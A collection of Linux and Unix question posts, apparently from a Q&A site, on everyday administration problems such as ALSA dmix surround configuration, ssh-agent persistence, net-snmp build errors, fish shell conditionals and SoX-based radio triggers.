title: Fetchmail move fetched mail to backup folder

text: At the moment, I have my .fetchmailrc configured to keep a copy on the mailserver. However, it would be nice to move these copies to an imap folder on the server. I believe this would not be possible within fetchmail, am I right? My question is: what would be the best way to accomplish this task?


title: Who pays for the storage and bandwidth of repositories?

text: When I do a `yum update` or `apt-get update`, my machine is hitting several servers and downloading several packages. I would imagine that those servers are handling millions of similar requests on a daily basis. Who pays for the maintenance, existence, bandwidth of those servers? If the answer depends on the distro, then CentOS, Arch and Ubuntu would be good examples. I am wondering about this because I am using these free operating systems and I am consuming bandwidth, but I have not paid anybody for this privilege.


title: Linux/Firefox- snapping open tab from another machine

text: Is there a way to snap the currently open tab(s) on Firefox (or any other browser) on Linux? I have full user access to that machine...


title: Set the key for spanish eñe letter

text: How can I map the spanish eñe letter to a key combination? What application is suitable for this purpose (`xmodmap`, `xbindkeys`, ...)? When I press `Caps Lock` + `n`, it should type `ñ` When I press `Caps Lock` + `N`, it should type `Ñ` I'd like to do this without switching keyboard layouts; I want to use only the English keyboard layout.


title: automatic passwordless ssh at login/restart

text: I want to have passwordless ssh to persist even after after I restart or logoff and then login. Somehow I have to run ssh-agent and use command ssh-add at login. I read here to add following lines to .bashrc:               ssh_agent="$HOME/.ssh-agent.sh"     if [ -f $ssh_agent ]     then       source $ssh_agent > /dev/null     fi      At the same time, the tutorial mentioned that > While ssh-agent is running all your processes (including your cron jobs) > shouldn't need a password. However if ssh-agent dies or is killed things > might go wrong since the old settings are left over. I want a safe method which allows me to use ssh without password even after I restart/relogin. Any suggestions?


title: How do I add a KVM guest VM to virsh

text: I followed this guide to create a KVM guest but I didn't pay attention to this line > Note: if you want to use Virsh to manage your virtual machines as detailed > below, you must add this parameter:1 So the VM is running fine but I'd like to add it to the list of VMs managed with virsh, how can I do this?


title: How can I recover after Kate crashes?

text: I use Kate for coding and note-taking. Sometimes it crashes - often when I've got a lot open. Unsaved 'real' documents (eg, ones backed by files, that have been saved at some point) usually have a backup/autosave type recovery file, that more-or-less works. Unfortunately, I've gotten in the habit of using untitled buffers (eg, pressing `Ctrl``n` in Kate) to store temporary notes. Kate just crashed and I lost half a dozen of these. Does Kate store backups for 'new' files anywhere? I checked, `~/.kde/share/apps/kate/` and didn't see anything obvious ...               kate-editor 3.8.5     KDE 4.8.5     Ubuntu 12.04 (Don't remember if Kubuntu or Ubuntu + KDE, in case that makes a difference)


title: How to simultaneously play sounds on 4.0 surround system using aplay

text: After my first configuration war against alsa (won with the help of CL.) check this question ... I would now want to go further : I am able to play multi-channel sounds on my setup, but I now need to play them simultaneously ! I found out that using dmix should help me, but I still have issue setting the correct asound.conf file, here the different solutions I tried and their respective results : **Initial (working with multi-channel but not simultaneously) asound.conf :**               pcm.!default {            type asym         playback.pcm {             type plug             slave.pcm "surround40:CA0106"         }         capture.pcm {             type plug             slave.pcm "hw:CA0106"         }     }      **Initial (Playing simultaneously but not multi-channel, only 2 channel here) asound.conf :**               pcm.dmixed {         type dmix         ipc_key 1024         ipc_key_add_uid 0         slave.pcm "hw:CA0106"     }          pcm.duplex {         type asym         playback.pcm "dmixed"     }          # Instruct ALSA to use pcm.duplex as the default device     pcm.!default {         type plug         slave.pcm "duplex"     }      **Note about the above setup** This asound.conf allows me to play simultaneously 2 sounds, but only on 2 channel, I lost the multi-channel capacity... Also, some sounds that used to work with my initial asound.conf (the first excerpt above) does not work anymore with this asound.conf, **here is the fail message** :               [root@server Sons]# aplay -N Apparition.wav     Playing WAVE 'Apparition.wav' : Signed 32 bit Little Endian, Rate 22050 Hz, Channels 4     aplay: set_params:1015: Unable to install hw params:     ACCESS:  RW_INTERLEAVED     FORMAT:  S32_LE     SUBFORMAT:  STD     SAMPLE_BITS: 32     FRAME_BITS: 128     CHANNELS: 4     RATE: NONE     PERIOD_TIME: 125000     PERIOD_SIZE: NONE     PERIOD_BYTES: (44096 44112)     PERIODS: (1 2)     BUFFER_TIME: (249977 249978)     BUFFER_SIZE: 5512     BUFFER_BYTES: 88192     TICK_TIME: 0      **And one working sound example :**               [root@server Sons]# aplay -vN Disparition.wav                                        Playing WAVE 'Disparition.wav' : Signed 32 bit Little Endian, Rate 22254 Hz, Channels 4      Plug PCM: Route conversion PCM (sformat=S32_LE)                                                Transformation table:                                                                          0 <- 0                                                                                1 <- 1                                                                                Its setup is:                                                                                stream       : PLAYBACK                                                                      access       : RW_INTERLEAVED                                                                format       : S32_LE                                                                        subformat    : STD                                                                           channels     : 4                                                                             rate         : 22254                                                                         exact rate   : 22254 (22254/1)                                                               msbits       : 32                                                                            buffer_size  : 5563                                                                          period_size  : 2781                                                                          period_time  : 125000                                                                        tstamp_mode  : NONE                                                                          period_step  : 1                                                                             avail_min    : 2781                                                                          period_event : 0                                                                             start_threshold  : 5563                                                                      stop_threshold   : 5563                                                                      silence_threshold: 0                                                                         silence_size : 0                                                                             boundary     : 729153536                                                                   Slave: Rate conversion PCM (48000, sformat=S16_LE)                                           Its setup is:                                                                                stream       : PLAYBACK       access       : MMAP_INTERLEAVED       format       : S32_LE       subformat    : STD       channels     : 2       rate         : 22254       exact rate   : 22254 (22254/1)       msbits       : 32       buffer_size  : 5563       period_size  : 2781       period_time  : 125000       tstamp_mode  : NONE       period_step  : 1       avail_min    : 2781       period_event : 0       start_threshold  : 5563       stop_threshold   : 5563       silence_threshold: 0       silence_size : 0       boundary     : 729153536     Slave: Direct Stream Mixing PCM     Its setup is:       stream       : PLAYBACK       access       : MMAP_INTERLEAVED       format       : S16_LE       subformat    : STD       channels     : 2       rate         : 48000       exact rate   : 48000 (48000/1)       msbits       : 16       buffer_size  : 12000       period_size  : 6000       period_time  : 125000       tstamp_mode  : NONE       period_step  : 1       avail_min    : 6000       period_event : 0       start_threshold  : 12000       stop_threshold   : 12000       silence_threshold: 0       silence_size : 0       boundary     : 1572864000     Hardware PCM card 0 'CA0106' device 0 subdevice 0     Its setup is:       stream       : PLAYBACK       access       : MMAP_INTERLEAVED       format       : S16_LE       subformat    : STD       channels     : 2       rate         : 48000       exact rate   : 48000 (48000/1)       msbits       : 16       buffer_size  : 12000       period_size  : 6000       period_time  : 125000       tstamp_mode  : ENABLE       period_step  : 1       avail_min    : 6000       period_event : 0       start_threshold  : 1       stop_threshold   : 1572864000       silence_threshold: 0       silence_size : 1572864000       boundary     : 1572864000      I am using the "-N" option to get some very short sounds to play one after the other very quickly, I cannot get rid of this action. To make long story short, I am looking for an asound.conf file which would allow me to keep the multi-channel capacity but that would also allow me to simultaneously play 2 different sounds. Among the 2 sounds there is one using the 2 front speakers and the other one using the 2 rear speakers, both sounds are build using 4 channels with 2 channels (front or rear depending on the sound) blank. From my little understanding I would need to specify a "custom device" (plug type or any other type ?) first and then "dmix" them, because I tried to changed the **slave.pcm hardware address** inside the **pcm.dmixed** block but this gives me an error stating that the type was not correct for this block (or something similar, I can provide the exact message if needed...)               hw:CA0106      to               surround40:CA0106      Any information and idea are welcome to help me solve that problem. **UPDATE_1 :** Following CL. advices, I built this asound.conf :               pcm.dmixed {             type dmix             ipc_key 1024             ipc_key_add_uid 0             slave {                     pcm "hw:0,0"                     channels 4             }     }          pcm.dmixed2 {             type dmix             ipc_key 1025             ipc_key_add_uid 0             slave {                     pcm "hw:0,1"                     channels 4             }     }                    pcm.quad {             type multi                  slave.pcm "dmixed"             slave.pcm "dmixed2"     }          # Instruct ALSA to use pcm.quad as the default device     pcm.!default {         type plug         slave.pcm "quad"     }      But it's still not working ... It fails with this error :               ALSA lib pcm_multi.c:1042:(_snd_pcm_multi_open) Unknown field slave      Looks like I am missing a slave definition but I can't find where ... **UPDATE_2 :** Here my latest "almost" working file, thanks to CL., I am still having a sound played in 2 parts (see comments for more info), but it is still better than nothing..               pcm.!default {                         # The "!" is used to overwrite an existing definition (pcm.default in this case ...)             type asym         playback.pcm {             type plug                      # plug is the "automatic conversion" plugin : convert data rate, channel and format on demand             slave.pcm "quad"         }     }               pcm.dmix_front {                        # Define the front speakers device : hw:0,0         type dmix         ipc_key 12345         ipc_key_add_uid 0         slave.pcm "hw:0,0"     }     pcm.dmix_rear {                         # Define the rear speakers device : hw:0,1         type dmix         ipc_key 67890         ipc_key_add_uid 0         slave.pcm "hw:0,1"     }     pcm.quad {         type multi         slaves {             a { pcm dmix_front channels 2 }             b { pcm dmix_rear  channels 2 }         }         bindings [             { slave a channel 0 }             { slave a channel 1 }             { slave b channel 0 }             { slave b channel 1 }         ]     }      I finally went for the use of plug:dmix_front and plug:dmix_front from my app. Thank you CL. for your kind support and patience.


title: net-snmp-5.7.2 compilation fail

text: I am currently trying to compile net-snmp-5.7.2 on rhel 6 64bit system. ./configure step is fine, but when I do the make step I got the following error :               gcc  -shared -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector --param=ssp-buffer-size=4 -m64 -mtune=generic   agent.o  -o ../blib/arch/auto/NetSNMP/agent/agent.so  \                -L/applis/src/compilation/net-snmp-5.7.2/perl/agent/../../snmplib/.libs -L/applis/src/compilation/net-snmp-5.7.2/perl/age nt/../../snmplib -L/applis/src/compilation/net-snmp-5.7.2/perl/agent/../../agent -lnetsnmpmibs -lnetsnmpagent -lnetsnmp         \          /usr/bin/ld: cannot find -lnetsnmpmibs      I'm a bit lost here, as I though that those libs should be provided by the net-snmp-5.7.2. Can anyone give me some tips ? Regards, Hugo


title: Why rsh not opens and reads PAM modules and limits.conf?

text: I am working on a project, that uses rsh utility for remote connection. But my project needs some extra features for that, so I add that features. Till now, all the things are going fine. But when I take a `strace` on rsh server. It shows that it opens and reads PAM modules and limits.conf. But the rsh, that I made is not able to open and read PAM module and limits.conf. I followed this link to check above things. Number of calling of PAM module and all these things are exactly same in Standard rsh and mine rsh. **The reasons that I think, behind this weird behavior** :-   1. May be `configure` file does not load by `makefile` of mine rsh.   2. May be it does not load `MCONFIG` , `MRULES` in makefile. But I didn't understand how can I confirm my doubt, and remove this problem. I tried to use GDB debugger, but I am unable to locate where this problem occurs. I spent a lot of time to locate where the problem is. But failed. Please help me, or guide me in finding where the problem actually is.


title: Conditionals for fish shell

text: I am going through the fish shell tutorial and find that this simple if-else block does not work               if grep fish /etc/shells                 echo Found fish     else if grep bash /etc/shells                 echo Found bash     else                 echo Got nothing     end      Error message:               /usr/bin/fish     Found fish     fish: global root block     fish: Could not locate end of block. The 'end' command is missing, misspelled or     a ';' is missing.                 end - end a block of commands.


title: How can i check for existence of color in my linux box?

text: I want to do something like this in my linux box:               if [[ colors exist ]];then     echo "some text in colors"     fi      my doubt is : i am using sed to put colors in log file for some text but if the linux box does not have colors enabled will it modify the log file in unneccsasy way like putting some unnecessary characters like [033m etc


title: Is there a convention for adding .pc files for pkg-config?

text: I installed a library via apt but it added no .pc file to the pkg-config dir. When I built another manually it got added. Is there a convention for libs automatically creating a .pc file and if so when and how is it done?


title: How to turn off all event notification under CentOS 6/GNOME?

text: In the top right corner under CentOS 6/GNOME it pops up messages if ex.: ethernet is connected, update has failed, etc. How can I completely turn OFF these messages??


title: Under AIX, how can I get the full path of a program bound to a port?

text: Under Linux I can use `netstat -tulpnw` and `ps`, like so:               # netstat -tulpnw | grep :53     tcp        0      0 127.0.0.1:53                0.0.0.0:*                   LISTEN      1482/named               udp        0      0 127.0.0.1:53                0.0.0.0:*                               1482/named                    # ps aux | fgrep 1482     named     1482  0.0  1.0  93656 44900 ?        Ssl  Sep06   3:17 /usr/sbin/named -u named     root     20221  0.0  0.0   4144   552 pts/0    R+   21:09   0:00 fgrep --color=auto 1482     #       How can I get the full path of a program bound to a port when using `ksh` in AIX 6?


title: How do I install BleachBit under OpenBSD?

text: How should I best go about installing BleachBit under OpenBSD?


title: Default fedora 15 install, how do you get a network drive to mount after login?

text: I am running a default fedora 15 install. My goal is to have a couple of network drives get mounted right after the user logs in graphically (not via ssh). The script I want to execute is basically just a bunch of mount commands: `sudo mount ...; sudo mount ...; sudo mount ...;`. I used `visudo` to let the user have NOPASSWD necessary when doing `sudo mount`. **Where can I put my simple script so that when the user logs in the script will execute?**


title: SOX script to recognise special pattern

text: Is it possible to define SOX script that would recognize a pattern having short broadcast followed by a very short pause and then again short broadcast? This would happen when someone presses tangent on radio transmitter twice shortly. I would use that as a trigger to run another script. Another way, if above is impossible to reach, that transmit would last 2-4 sec followed by 1 sec silence. EDIT: Let me explain more about the project. Intention is to do ATIS (automated weather report) system for the aviation use. I have weather station and made script which create weather report to file. Then I will use festival program to speak it out to the airband with radio transmitter. Channel is reserved for this usage and is without any other traffic, but I don't want to broadcast report endlessly because of power and heating issues. So I need a trigger which would be 2 x tangent (transmit button) shortly. There would not be any speak on the channel, only the baseband (min rec level). And I don't want to record anything, only act as a trigger. I wonder if sox is too slow to detect those short transmits and therefore mentioned other solution which might be easier to achieve? My idea was that when trigger is activated then sox will create file what I use as a another trigger for other stuff and then delete file afterwards. It could be also that some other program would suit better for this?